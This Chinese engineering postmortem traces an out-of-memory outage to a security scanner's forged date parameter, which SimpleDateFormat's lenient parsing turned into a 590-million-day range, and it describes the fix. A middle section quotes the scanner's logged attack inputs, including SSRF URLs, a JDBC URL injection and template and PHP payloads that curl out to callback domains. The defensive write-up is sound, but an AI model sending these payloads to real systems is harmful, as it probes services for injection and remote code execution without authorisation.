名词解释

商家销项发票业务（平台给商家开票），是平台提供给商家的工具产品，商家购买了平台的服务，那么平台需要开票给商家。

前言

本文所描述的问题，是应用的OOM引发的接口成功率下跌，排查过程中由于现场环境问题，导致第一次的原因定位错了，后面由于机缘巧合，找到了一个3月份的OOM dump文件，顺藤摸瓜一步步找到了OOM的元凶，竟然是由于安全攻击伪造了一个异常的日期格式，被SimpleDateFormat解析成了164万年后的日期，距今5.9亿天，而发生OOM的接口逻辑是，从开始时间到结束时间，每一天生成一个数据点，从而造成内存中存在大量对象，进而发生OOM。

下面就带大家来看下整个问题的定位过程。

Metaspace报错





6月3日~6月6日，该业务连续出现两次接口成功率下跌的风险预警。看了下接口报错日志，接口的RT上涨，错误信息是Metaspace。





到这很容易联想到是Metaspace空间不足导致gc，而且错误都集中在一台机器上，去sunfire上看下机器jvm信息，果然metaspace使用率已经达到97%了，CPU也飙高到了90%。由于接口成功率还在下跌，可能触发故障，所以第一时间把机器做了下线处理。虽然接口成功率恢复了，但现场却没了，只定位到了一个Metaspace使用率高的现象。







查看了一下应用的MetaspaceSize设置，容量确实很小，只有256M，相比其他应用都是512M，由于没了现场，所以暂时把解决方案定位成调高MetaspaceSize空间。

JAVA_OPTS="${JAVA_OPTS} -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=256m"

到了6月6日，再次出现了同样的问题，CPU也到了90%多，当即对问题机器dump了线程信息，CPU全部被GC线程占满了，所以还是认定是MetaspaceSize的原因。重启了问题机器后，第一时间发布代码，调整MetaspaceSize到512M。

top -H -p 进程ID





CPU飙涨

然而到了6月6日下午，突然收到一个监控，从16.35开始，一台机器的CPU飙涨到98%，还是被4个GC线程占满，而metaspace的使用率却稳定在50%。这样看来之前定位到的原因不对了，并不是Metaspace的问题，而是应用在疯狂的GC。









OOM

上问题机器看了下线程CPU使用情况，果然还是4个GC线程，确定不是Metaspace的问题了。随即去找错误日志，这次不是报Metaspace，而是出现了大量的OutOfMemoryError错误，就是OOM了。





OOM一般都很好定位，第一时间想到的便是dump了，然而dump的结果大跌眼镜，尝试了好几次，啥信息都没有，根本无从定位。



既然无法dump，那直接在机器上使用jmap，结果也执行失败，陷入绝境了，明明是很好排查的OOM却无从下手，只能去找其他方法了。

集团的Java应用，一般都有默认的jvm参数--OOM 自动dump，文件一般在/home/admin/logs/java.hprof。

JAVA_OPTS="${JAVA_OPTS} -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=${MIDDLEWARE_LOGS}/java.hprof"

果然在机器上找到了dump文件，但日期却不是今天的，是3月29日的，本着死马当活马医的态度，先尝试着去分析一下。





dump分析

用grace分析了一下3月29日的dump文件，大有收获，内存中竟然存在5700万个com.alibaba.finance.paycenter.view.GoodsIncomeSummaryVO对象，这便是3月29日OOM的元凶了。









但3月29日的OOM，跟6月6日的会是一样吗，过去2个多月了，而且sls上也没有3月份的日志。由于没有更多的方向了，暂时猜测6月6日的OOM跟3月29日的一样。顺着grace给出的信息，去看了下代码。代码的逻辑很简单，查询一个商家在某个时间区间的货款结算数据，数据是按天维度的，一天一条记录，所以这段代码返回的就是beginTime到endTime之间每天的数据，换句话说，GoodsIncomeSummaryVO这个对象最多也就是endTime-beginTime个了，也就是两个日期之间的天数。





继续找到前台页面入口，beginTime和endTime对应的是两个时间选择器，给服务端的格式是yyyymmdd，而且前端限制每次最多查一个月，也就是接口最多返回31条数据。就算是伪造数据攻击，从0000-9999年最多也只有365*10000=365万条数据，怎么会出现5000多万呢？





安全攻击

从这个产品功能来看，如果是正常的页面操作，那么单次请求最多返回一个月也就是31条数据，而内存中存在大量对象只有一种可能--那就是接口被攻击了。继续分析日志，把时间范围调整到问题发生的时段，果然接口调用量存在明显的上涨，跟前面的猜测一样，6月6日的OOM也是由于GoodsIncomeSummaryVO这个对象导致的。





继续分析日志，发现请求都是来自【heimdall安全扫描测试账号】，这就是安全部的常用攻击账号。





从日志不难看出，安全账号的请求在伪造入参攻击接口，入参中的[20240529, 20240604]便是前面提及的beginTime和endTime。而攻击请求中的入参却是另一番模样：

[http://140.205.171.167?%0a@fundtax.taobao.com/, 20240604][20240529, http://140.205.171.167?%0a@fundtax.taobao.com/][//sectesttaobao.com/checkpreload.htm?heimdallpoc=1, 20240604][20240529, 20240604jdbc:gbase://48268652-d8cb73efc3a3e66d-1111.1001-None-2c3a455b8ebd4954-1717662929929.gbase.dns.heimdallpoc.cn/test?user=test][20240529heimdalldbmarktestd8cb73efc3a3e66d-beginTime-, 20240604][20240529, {{ctx.curl('http://48268652-d8cb73efc3a3e66d-11.1-endTime-b5a59b74c90e4e73-1717662922429.ssi2.rce.ihttp.dns.heimdallpoc.cn')}}][data:text/plain,<?php system('curl 48268652-d8cb73efc3a3e66d-11.1-beginTime-39fbd8149b59426b-1717662920830.27.rce.ihttp.dns.heimdallpoc.cn');?>, 20240604]

再来回顾一下这个接口的逻辑：

1、用sellerId，beginTime和endTime，到数据库里面去查数据d >=beginTime and d <= endTime

2、计算beginTime和endTime之间的天数，这里用的是SimpleDateFormat.parse

看了下服务器的日志，大部分的安全攻击请求，要么被SQL语法拦截了，要么被日期解析拦截了，都是无效请求，那是怎么触发OOM的呢？









GoodsIncomeSummaryVO对象的产生主要是在第二步【计算beginTime和endTime之间的天数】，并不是第一步，就是说第一步的结果不会影响到GoodsIncomeSummaryVO的数量，去数据库验证了一下，攻击账号的数据是0条，所以问题的根源就是第二步。

Eagleeye分析

之前的日志分析并未发现异常，主要是因为分析的日志时间范围是在CPU上涨的时间。





这个时间段内确实没有异常的请求日志，但是既然某些请求会产生大量的GoodsIncomeSummaryVO对象，那么这次请求的RT一定很高，可能系统打印的日志就不在这个时间段了，顺着这个思路去eagleeye上拉长时间看了下接口的RT数据，果然发现了可疑之处。17:30分左右平均RT是25分钟，这太不正常了，这个时间点一定存在某个RT很高的异常请求。





定位元凶

去机器上寻找这个时间点附近的日志，找到了这个可疑的请求：

2024-06-06 17:30:26.625 - 212a87e117176628478926268e1570|106.15.120.135|HomeController|getGoodsIncomeList|N|Java heap space|null|3378731ms|22129*****|heimdall安全扫描测试账号|账户汇总-货款结算趋势|[20240529, 2024060433312731332234323c32343e3939]

日志的产生时间是2024-06-06 17:30:26，执行了56分钟，倒推一下就是2024-06-06 16:35 左右开始执行，跟OOM和CPU打满的时间是吻合的。可以肯定是这个请求一直在产生GoodsIncomeSummaryVO对象，话不多说，先看下参数。

beginTime：20240529endTime：2024060433312731332234323c32343e3939

这个endTime初看肯定会被日期解析给拦截的，为啥还往下执行了，难道这也能解析？写了段测试代码执行一下这两个数据，结果惊呆了。





代码非但没有报错，反而停不下来了，3000多万了。





5000多万了，不行了，电脑卡死了。





好了，看来是停不下来了，估计也要跑50多分钟。直接把endTime：

2024060433312731332234323c32343e3939打印出来看看是个什么东西，好家伙。









2024060433312731332234323c32343e3939解析成Date后是1642440年，从2024年5月29日，一天一天加，加到1642440年，总共有5.9亿天，所以说这次请求会产生5.9亿个GoodsIncomeSummaryVO对象，这不OOM才怪呢。





问题来了，有老铁知道2024060433312731332234323c32343e3939这是个啥，为啥SimpleDateFormat还能解析出来，已经超出认知了。

SimpleDateFormat分析

    public static Date convertToDate(String time, String format) {        Date date=null;        SimpleDateFormat dateFormat = new SimpleDateFormat(format);        try {            date = dateFormat.parse(time);        } catch (ParseException e) {            throw new RuntimeException("format error", e);        }        return date;    }

这是一段很普通的代码，看不出啥毛病来，问题就在于format这个格式解析，出于好奇，随便造了一个数据来测试一下，代码如下：

Date beginDate = DateUtils.convertToDate("209410529", DateUtils.YYYYMMDD_FORMAT);

【209410529】并不是标准的【yyyyMMdd】格式，而是9位多了1位，看看SimpleDateFormat的结果吧。

Mon Mar 12 00:00:00 CST 2096

解析并没有报错，但日期貌似也不对，怎么变成了2096年，于是debug看了下SimpleDateFormat的工作原理。

SimpleDateFormat的parse会根据format格式依次解析出年月日，关键的问题就出在【日】这个字段。

年：2094月：10日：529

除了yyyyMM前6位，后面的一大串都当成了【日】，问题的关键在于这段代码。





进入Calendar类：









由于【日】这个字段是非法的，此处的isTimeSet=false，进入到了updateTime，重新开始计算时间，【529】天会进一步计算成月和年。





debug结束后，重新计算的时间戳是【3982320000000】，转换一下，刚好是上面的结果【Mon Mar 12 00:00:00 CST 2096】。





再回到安全攻击的那个日期【2024060433312731332234323c32343e3939】，看看SimpleDateFormat是怎么解析的，首先还是获取年月。

年：2024月：06

那么剩下的一大串【0433312731332234323c32343e3939】就用来解析【日】了，函数的入口位于DecimalFormat的subparse函数。

private final boolean subparse(String text, ParsePosition parsePosition,                   String positivePrefix, String negativePrefix,                   DigitList digits, boolean isExponent,                   boolean status[]) {}

依次遍历text，存入DigitList中，逻辑如下：









当识别到字符串中的【c】时，digit=-1，跳出了for循环，【c32343e3939】后面一大串直接丢弃了，所以digits中保存的字符串是【0433312731332234323】，然后转成Long，值为【433312731332234323】。





最后在保存的时候转为int，值为599149651，这个就比较熟悉了，就是前面分析的5.9亿天，然后再通过Calendar的updateTime，变成了1642440年。





后面测试了一下另外一个格式【yyyy-MM-dd】，也有同样的问题。

Date beginDate = DateUtils.convertToDate("2024-06-0433312731332234323c32343e3939", DateUtils.YYYY_MM_DD_FORMAT);

得到了同样的结果：

Sun Jun 10 00:00:00 CST 1642440

综上所述，在使用SimpleDateFormat的时候，必须确保日期的格式，否则可能会得到预期之外的结果，还可能会给业务带来影响。

设置lenient=false

感谢连齐提供的解决方案，SimpleDateFormat设置lenient为false，会严格校验日期格式，亲测有效。

















问题修复

排查过程很复杂，但回到代码上，问题不少，修复方案也很简单。

1、接口入参时间格式没有校验，应该严格限定在yyyyMMdd；

2、接口没有校验时间查询范围，依赖于前端1个月的限制条件，但攻击可以轻易绕过；